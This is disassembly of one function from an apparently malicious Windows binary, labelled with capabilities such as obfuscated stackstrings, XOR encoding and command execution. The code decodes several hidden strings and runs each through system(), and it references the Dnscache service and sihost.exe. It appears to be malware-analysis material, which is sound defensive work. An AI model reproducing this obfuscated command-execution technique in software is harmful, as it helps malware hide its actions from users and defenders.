Function at 0x140052eb0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x1400eb0c0]
xor rax, rsp
mov qword [rbp + 0x108], rax
call fcn.1400051d0
lea rcx, [rbp + 0xe0]
call fcn.140053400
lea rcx, [rbp + 0xe0]
call fcn.14005a8f0
nop
call fcn.140003870
call fcn.140003da0
mov edx, eax
call fcn.140003cf0
lea rcx, [rbp + 0xe8]
call fcn.14004fb50
nop
movdqa xmm1, xmmword [0x1400d7fc0]
movdqu xmmword [rsp + 0x48], xmm1
mov dl, 0x6c
mov r8b, 0x66
mov r9b, 0x7b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x49], al
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor byte [rsp + 0x50], cl
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor dl, cl
mov byte [rsp + 0x58], dl
xor r8b, cl
mov byte [rsp + 0x59], r8b
xor r9b, cl
mov byte [rsp + 0x5a], r9b
mov byte [rsp + 0x5b], 0
lea rcx, [rsp + 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm1, xmmword [0x1400d7fb0]
movdqu xmmword [rsp + 0x20], xmm1
movdqa xmm2, xmmword [0x1400d8010]
movdqu xmmword [rsp + 0x30], xmm2
mov dl, 0x68
mov r8b, 0x69
mov r9b, 0x5b
mov r10b, 0x43
mov r11b, 0x75
mov bl, reloc.WS2_32.dll_WSACleanup
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], cl
xor byte [rsp + 0x23], cl
xor byte [rsp + 0x24], cl
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
xor byte [rsp + 0x2f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x30], al
xor byte [rsp + 0x31], cl
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
xor r10b, cl
mov byte [rsp + 0x43], r10b
xor r11b, cl
mov byte [rsp + 0x44], r11b
xor bl, cl
mov byte [rsp + 0x45], bl
mov byte [rsp + 0x46], 0
lea rcx, [rsp + 0x21]
call fcn.14004fb20
movdqa xmm0, xmmword [0x1400d8020]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400d7fe0]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x1400d7f80]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400d7fa0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x1400d7f70]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400d7fd0]
movdqa xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x64514255
mov dword [rbp - 0x2c], 0x7958505d
mov dword [rbp - 0x28], 0x14166166
mov word [rbp - 0x24], 0x521b
xor eax, eax
mov byte [rbp - 0x22], al
xor ebx, ebx
mov ecx, ebx
nop dword [rax]
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x71], al
inc rcx
cmp rcx, 0x6d
jb 0x140053110
mov byte [rbp - 0x22], bl
lea rcx, [rsp + 0x71]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d7d20]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400d7d80]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x1400d7db0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400d7dc0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x1400d7da0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400d7d30]
movdqa xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x33173434
mov dword [rbp - 0x2c], 0x2c27302d
mov dword [rbp - 0x28], 0x64662021
mov word [rbp - 0x24], 0x226b
xor eax, eax
mov byte [rbp - 0x22], al
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x71], al
inc rcx
cmp rcx, 0x6d
jb 0x1400531b0
mov byte [rbp - 0x22], bl
lea rcx, [rsp + 0x71]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d7ff0]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x1400d7f20]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x1400d7f30]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [str.whYJXCoF_X_t_v_r_r_vXNYXw]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [0x1400d8040]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400d7d50]
movdqa xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmmword [0x1400d8000]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [0x1400d7f60]
movdqa xmmword [rbp + 0x50], xmm1
movdqa xmm0, xmmword [str.FBY_v]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x1400d7f40]
movdqa xmmword [rbp + 0x70], xmm1
movdqa xmm0, xmmword [0x1400d8050]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [0x1400d7f50]
movdqa xmmword [rbp + 0x90], xmm1
movdqa xmm0, xmmword [0x1400d8030]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [0x1400d7d50]
movdqa xmmword [rbp + 0xb0], xmm1
movdqa xmm0, xmmword [0x1400d8000]
movdqa xmmword [rbp + 0xc0], xmm0
mov dword [rbp + 0xd0], 0x43584a59
mov dword [rbp + 0xd4], 0x5b465e6f
mov dword [rbp + 0xd8], 0x1057758
mov word [rbp + 0xdc], 9
nop dword [rax]
movzx eax, byte [rbp - 0x20]
xor byte [rbp + rbx - 0x1f], al
movzx eax, byte [rbp - 0x20]
xor byte [rbp + rbx - 0x1e], al
add rbx, 2
cmp rbx, 0xfc
jb 0x1400532d0
mov byte [rbp + 0xdd], 0
lea rcx, [rbp - 0x1f]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x48]
call fcn.140051140
mov rbx, rax
lea rcx, str.Dnscache
call fcn.14004fe40
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140051730
lea rcx, [rsp + 0x48]
call fcn.140051140
mov rbx, rax
lea rcx, str.Dnscache
call fcn.14004fe40
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140051730
lea rax, [rsp + 0x48]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x48]
call fcn.1400514c0
mov rbx, rax
lea rdx, str.sihost.exe
lea rcx, [rsp + 0x20]
call fcn.140002530
nop
lea rcx, [rsp + 0x20]
call fcn.14004fcd0
nop
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140051730
nop
lea rcx, [rsp + 0x20]
call fcn.1400024d0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x48]
call fcn.140051660
mov rbx, rax
lea rdx, str.sihost.exe
lea rcx, [rsp + 0x20]
call fcn.140002530
nop
lea rcx, [rsp + 0x20]
call fcn.14004fcd0
nop
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140051730
nop
lea rcx, [rsp + 0x20]
call fcn.1400024d0
call fcn.1400525e0
call fcn.140052350
call fcn.140051f70
int3